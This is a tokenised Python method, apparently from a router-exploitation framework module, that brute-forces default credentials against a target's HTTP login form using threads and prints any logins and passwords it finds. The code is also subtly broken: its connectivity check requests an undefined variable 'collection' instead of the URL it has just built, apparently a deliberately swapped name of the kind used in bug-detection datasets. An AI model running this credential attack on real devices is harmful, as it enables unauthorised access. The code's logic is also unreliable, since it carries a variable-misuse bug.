#NEWLINE# @ multi #NEWLINE# def attack( self ) : #NEWLINE# #INDENT# url = sanitize_url ( '{}:{}{}' . format ( self . target , self . port , self . get_form_path ( ) ) ) #NEWLINE# try : #NEWLINE# #INDENT# requests . get ( collection , verify = False ) #NEWLINE# #UNINDENT# except ( requests . exceptions . MissingSchema , requests . exceptions . InvalidSchema ) : #NEWLINE# #INDENT# print_error ( ( 'Invalid URL format: %s' % url ) ) #NEWLINE# return #NEWLINE# #UNINDENT# except requests . exceptions . ConnectionError : #NEWLINE# #INDENT# print_error ( ( 'Connection error: %s' % url ) ) #NEWLINE# return #NEWLINE# #UNINDENT# if ( self . form == 'auto' ) : #NEWLINE# #INDENT# form_data = self . detect_form ( ) #NEWLINE# if ( form_data is None ) : #NEWLINE# #INDENT# print_error ( 'Could not detect form' ) #NEWLINE# return #NEWLINE# #UNINDENT# ( form_action , self . data ) = form_data #NEWLINE# if form_action : #NEWLINE# #INDENT# self . path = form_action #NEWLINE# #UNINDENT# #UNINDENT# else : #NEWLINE# #INDENT# self . data = self . form #NEWLINE# #UNINDENT# print_status ( 'Using following data: ' , self . data ) #NEWLINE# self . invalid_auth ( ) #NEWLINE# if self . defaults . startswith ( 'file://' ) : #NEWLINE# #INDENT# defaults = open ( self . defaults [ 7 : ] , 'r' ) #NEWLINE# #UNINDENT# else : #NEWLINE# #INDENT# defaults = [ self . defaults ] #NEWLINE# #UNINDENT# collection = LockedIterator ( defaults ) #NEWLINE# self . run_threads ( self . threads , self . target_function , collection ) #NEWLINE# if len ( self . credentials ) : #NEWLINE# #INDENT# print_success ( 'Credentials found!' ) #NEWLINE# headers = ( 'Target' , 'Port' , 'Login' , 'Password' ) #NEWLINE# print_table ( headers , * self . credentials ) #NEWLINE# #UNINDENT# else : #NEWLINE# #INDENT# print_error ( 'Credentials not found' )